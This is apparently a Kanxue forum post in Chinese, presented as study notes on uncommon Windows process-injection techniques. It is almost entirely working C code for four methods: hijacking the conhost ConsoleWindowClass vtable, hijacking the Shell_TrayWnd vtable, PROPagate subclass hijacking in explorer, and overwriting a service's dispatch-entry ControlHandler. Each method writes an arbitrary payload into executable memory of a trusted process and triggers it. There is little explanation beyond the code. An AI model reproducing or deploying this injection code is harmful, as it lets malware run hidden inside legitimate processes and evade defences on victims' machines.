其他
Windows不太常见的进程注入学习小记(一)
本文为看雪论坛优秀文章
看雪论坛作者ID:不懂就不懂
进程注入
HOOK Conhost.exe中保存的ConsoleWindowClass窗口类的虚表
typedef struct _vftable_t {
ULONG_PTR EnableBothScrollBars;
ULONG_PTR UpdateScrollBar;
ULONG_PTR IsInFullscreen;
ULONG_PTR SetIsFullscreen;
ULONG_PTR SetViewportOrigin;
ULONG_PTR SetWindowHasMoved;
ULONG_PTR CaptureMouse;
ULONG_PTR ReleaseMouse;
ULONG_PTR GetWindowHandle;
ULONG_PTR SetOwner;
ULONG_PTR GetCursorPosition;
ULONG_PTR GetClientRectangle;
ULONG_PTR MapPoints;
ULONG_PTR ConvertScreenToClient;
ULONG_PTR SendNotifyBeep;
ULONG_PTR PostUpdateScrollBars;
ULONG_PTR PostUpdateTitleWithCopy;
ULONG_PTR PostUpdateWindowSize;
ULONG_PTR UpdateWindowSize;
ULONG_PTR UpdateWindowText;
ULONG_PTR HorizontalScroll;
ULONG_PTR VerticalScroll;
ULONG_PTR SignalUia;
ULONG_PTR UiaSetTextAreaFocus;
ULONG_PTR GetWindowRect;
} ConsoleWindow;
VOID conhostInject(LPVOID payload, DWORD payloadSize) {
HWND hwnd;
LONG_PTR udptr;
DWORD pid, ppid;
SIZE_T wr;
HANDLE hp;
ConsoleWindow cw;
LPVOID cs, ds;
ULONG_PTR vTable;
// 1. 找到具有ConsoleWindowClass窗口类的窗口句柄
hwnd = FindWindow(L"ConsoleWindowClass", NULL);
//通过窗口句柄找到对应进程的PID
GetWindowThreadProcessId(hwnd, &ppid);
// 2. 通过对比进程名和父进程句柄找到Conhost进程的pid
pid = conhostId(ppid);
if (pid==0) {
printf("parent id is %ld\nunable to obtain pid of conhost.exe\n", ppid);
return;
}
// 3.打开conhost进程
hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
// 4. 在conhost进程中申请可读可写可执行的堆空间用于保存自己的payload
cs = VirtualAllocEx(hp, NULL, payloadSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
// 5. 找到ConsoleWindowClass窗口类中保存的虚函数地址
udptr = GetWindowLongPtr(hwnd, GWLP_USERDATA);
ReadProcessMemory(hp, (LPVOID)udptr,
(LPVOID)&vTable, sizeof(ULONG_PTR), &wr);
// 6. 获取原本的虚表内容
ReadProcessMemory(hp, (LPVOID)vTable,
(LPVOID)&cw, sizeof(ConsoleWindow), &wr);
// 7. 在conhost进程中申请堆空间保存自定义的虚表内容。
ds = VirtualAllocEx(hp, NULL, sizeof(ConsoleWindow),
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// 8. 将虚表中保存的GetWindowHandle更改为自己的payload地址,然后将虚表的内容写入进程。
cw.GetWindowHandle = (ULONG_PTR)cs;
WriteProcessMemory(hp, ds, &cw, sizeof(ConsoleWindow), &wr);
// 9. 将虚表指针hook
WriteProcessMemory(hp, (LPVOID)udptr, &ds,
sizeof(ULONG_PTR), &wr);
// 10. 发消息测试
SendMessage(hwnd, WM_SETFOCUS, 0, 0);
// 11. 更改为原来的虚表指针
WriteProcessMemory(hp, (LPVOID)udptr, &vTable,
sizeof(ULONG_PTR), &wr);
// 12. 释放内存。
VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);
CloseHandle(hp);
}
HOOK Shell_TrayWnd窗口类的虚表
typedef struct _ctray_vtable {
ULONG_PTR vTable; // change to remote memory address
ULONG_PTR AddRef; // add reference
ULONG_PTR Release; // release procedure
ULONG_PTR WndProc; // window procedure (change to payload)
} CTray;
typedef struct _ctray_obj {
CTray *vtbl;
} CTrayObj;
VOID extraBytes(LPVOID payload, DWORD payloadSize){
LPVOID cs, ds;
CTray ct;
ULONG_PTR ctp;
HWND hw;
HANDLE hp;
DWORD pid;
SIZE_T wr;
hw = FindWindow(L"Shell_TrayWnd", NULL);
GetWindowThreadProcessId(hw, &pid);
hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
ctp = GetWindowLongPtr(hw, 0);
ReadProcessMemory(hp, (LPVOID)ctp,
(LPVOID)&ct.vTable, sizeof(ULONG_PTR), &wr);
ReadProcessMemory(hp, (LPVOID)ct.vTable,
(LPVOID)&ct.AddRef, sizeof(ULONG_PTR) * 3, &wr);
cs = VirtualAllocEx(hp, NULL, payloadSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
ds = VirtualAllocEx(hp, NULL, sizeof(ct),
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
ct.vTable = (ULONG_PTR)ds + sizeof(ULONG_PTR);
ct.WndProc = (ULONG_PTR)cs;
WriteProcessMemory(hp, ds, &ct, sizeof(ct), &wr);
SetWindowLongPtr(hw, 0, (ULONG_PTR)ds);
PostMessage(hw, WM_CLOSE, 0, 0);
SetWindowLongPtr(hw, 0, ctp);
VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);
CloseHandle(hp);
}
与窗口子类化有关注入——PROPagate
typedef struct _SUBCLASS_CALL {
SUBCLASSPROC pfnSubclass; // subclass procedure
WPARAM uIdSubclass; // unique subclass identifier
DWORD_PTR dwRefData; // optional ref data
} SUBCLASS_CALL, PSUBCLASS_CALL;
typedef struct _SUBCLASS_FRAME {
UINT uCallIndex; // index of next callback to call
UINT uDeepestCall; // deepest uCallIndex on stack
struct _SUBCLASS_FRAME *pFramePrev; // previous subclass frame pointer
struct _SUBCLASS_HEADER *pHeader; // header associated with this frame
} SUBCLASS_FRAME, PSUBCLASS_FRAME;
typedef struct _SUBCLASS_HEADER {
UINT uRefs; // subclass count
UINT uAlloc; // allocated subclass call nodes
UINT uCleanup; // index of call node to clean up
DWORD dwThreadId; // thread id of window we are hooking
SUBCLASS_FRAME *pFrameCur; // current subclass frame pointer
SUBCLASS_CALL CallArray[1]; // base of packed call node array
} SUBCLASS_HEADER, *PSUBCLASS_HEADER;
VOID propagate(LPVOID payload, DWORD payloadSize) {
HANDLE hp, p;
DWORD id;
HWND pwh, cwh;
SUBCLASS_HEADER sh;
LPVOID psh, pfnSubclass;
SIZE_T rd,wr;
// 1. Obtain the parent window handle
pwh = FindWindow(L"Progman", NULL);
// 2. Obtain the child window handle
cwh = FindWindowEx(pwh, NULL, L"SHELLDLL_DefView", NULL);
// 3. Obtain the handle of subclass header
p = GetProp(cwh, L"UxSubclassInfo");
// GetProcessHandleFromHwnd
// 4. Obtain the process id for the explorer.exe
GetWindowThreadProcessId(cwh, &id);
// 5. Open explorer.exe
hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
// 6. Read the contents of current subclass header
ReadProcessMemory(hp, (LPVOID)p, &sh, sizeof(sh), &rd);
// 7. Allocate RW memory for a new subclass header
psh = VirtualAllocEx(hp, NULL, sizeof(sh),
MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
// 8. Allocate RWX memory for the payload
pfnSubclass = VirtualAllocEx(hp, NULL, payloadSize,
MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 9. Write the payload to memory
WriteProcessMemory(hp, pfnSubclass,
payload, payloadSize, &wr);
// 10. Set the pfnSubclass field to payload address, and write
// back to process in new area of memory
sh.CallArray[0].pfnSubclass = (SUBCLASSPROC)pfnSubclass;
WriteProcessMemory(hp, psh, &sh, sizeof(sh), &wr);
// 11. update the subclass procedure with SetProp
SetProp(cwh, L"UxSubclassInfo", psh);
// 12. Trigger the payload via a windows message
PostMessage(cwh, WM_CLOSE, 0, 0);
// 13. Restore original subclass header
SetProp(cwh, L"UxSubclassInfo", p);
// 14. free memory and close handles
VirtualFreeEx(hp, psh, 0, MEM_DECOMMIT | MEM_RELEASE);
VirtualFreeEx(hp, pfnSubclass, 0, MEM_DECOMMIT | MEM_RELEASE);
CloseHandle(hp);
}
通过HOOK服务的IDE来实现进程注入
typedef struct _INTERNAL_DISPATCH_ENTRY {
LPWSTR ServiceName;
LPWSTR ServiceRealName;
LPSERVICE_MAIN_FUNCTION ServiceStartRoutine;
LPHANDLER_FUNCTION_EX ControlHandler;
HANDLE StatusHandle;
DWORD ServiceFlags;
DWORD Tag;
HANDLE MainThreadHandle;
DWORD dwReserved;
} INTERNAL_DISPATCH_ENTRY, *PINTERNAL_DISPATCH_ENTRY;
typedef struct _INTERNAL_DISPATCH_ENTRY {
LPWSTR ServiceName;
LPWSTR ServiceRealName;
LPWSTR ServiceName2; // Windows 10
LPSERVICE_MAIN_FUNCTION ServiceStartRoutine;
LPHANDLER_FUNCTION_EX ControlHandler;
HANDLE StatusHandle;
DWORD64 ServiceFlags; // 64-bit on windows 10
DWORD64 Tag;
HANDLE MainThreadHandle;
DWORD64 dwReserved;
DWORD64 dwReserved2;
} INTERNAL_DISPATCH_ENTRY, *PINTERNAL_DISPATCH_ENTRY;
VOID SvcCtrlInject(PSERVICE_ENTRY se, LPVOID payload, DWORD payloadSize) {
SIZE_T wr;
SC_HANDLE hm, hs;
INTERNAL_DISPATCH_ENTRY ide;
HANDLE hp;
LPVOID cs;
SERVICE_STATUS ss;
wprintf(L"[*] Attempting to inject PIC into \"%s\"...\n", se->process);
// open the service control manager
hm = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT);
if (hm != NULL) {
// open target service
hs = OpenService(hm, se->service, SERVICE_INTERROGATE);
if (hs != NULL) {
// open target process
hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, se->pid);
if (hp != NULL) {
// allocate memory for payload
cs = VirtualAllocEx(hp, NULL, payloadSize,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (cs) {
// write payload to process space
WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
// create backup of IDE
memcpy(&ide, &se->ide, sizeof(ide));
// point ControlHandler to payload
ide.ControlHandler = cs;
// change flags
ide.ServiceFlags = SERVICE_CONTROL_INTERROGATE;
// update IDE in remote process
WriteProcessMemory(hp, se->ide_addr, &ide, sizeof(ide), &wr);
// trigger payload
wprintf(L"[*] Set a breakpoint on %p\n", cs);
getchar();
ControlService(hs, SERVICE_CONTROL_INTERROGATE, &ss);
xstrerror(L"ControlService");
// free payload from memory
VirtualFreeEx(hp, cs, payloadSize, MEM_RELEASE);
// restore original IDE
WriteProcessMemory(hp, se->ide_addr,
&se->ide, sizeof(ide), &wr);
} else xstrerror(L"VirtualAllocEx");
CloseHandle(hp); // close process
} else xstrerror(L"OpenProcess");
CloseServiceHandle(hs); // close service
} else xstrerror(L"OpenService");
CloseServiceHandle(hm); // close manager
}
}
BOOL StopService(PSERVICE_ENTRY se){
DWORD evt;
HANDLE hThread, hProcess;
RtlCreateUserThread_t pRtlCreateUserThread;
BOOL bResult=FALSE;
wprintf(L"[*] Attempting to stop service...\n");
hProcess = OpenProcess(PROCESS_ALL_ACCESS, TRUE, se->pid);
if(hProcess == NULL) {
xstrerror(L"StopService::OpenProcess");
return 0;
}
// resolve address of RtlCreateUserThread
// CreateRemoteThread won't work here..
pRtlCreateUserThread=
(RtlCreateUserThread_t)GetProcAddress(
LoadLibrary(L"ntdll"), "RtlCreateUserThread");
// got it?
if (pRtlCreateUserThread!=NULL) {
// execute the ControlHandler in remote process space
pRtlCreateUserThread(hProcess, NULL, FALSE,
0, NULL, NULL, se->ide.ControlHandler,
(LPVOID)SERVICE_CONTROL_STOP, &hThread, NULL);
bResult = (hThread != NULL);
// if thread created
if (bResult) {
// wait 5 seconds for termination
evt = WaitForSingleObject(hThread, 5*1000);
bResult = (evt == WAIT_OBJECT_0);
CloseHandle(hThread);
}
wprintf(L"[*] Service %s stopped.\n",
bResult ? L"successfully" : L"unsuccessfully");
}
CloseHandle(hProcess);
return bResult;
}
参考文章
看雪ID:不懂就不懂
https://bbs.pediy.com/user-795949.htm
*本文由看雪论坛 不懂就不懂 原创,转载请注明来自看雪社区。
推荐文章++++
求分享
求点赞
求在看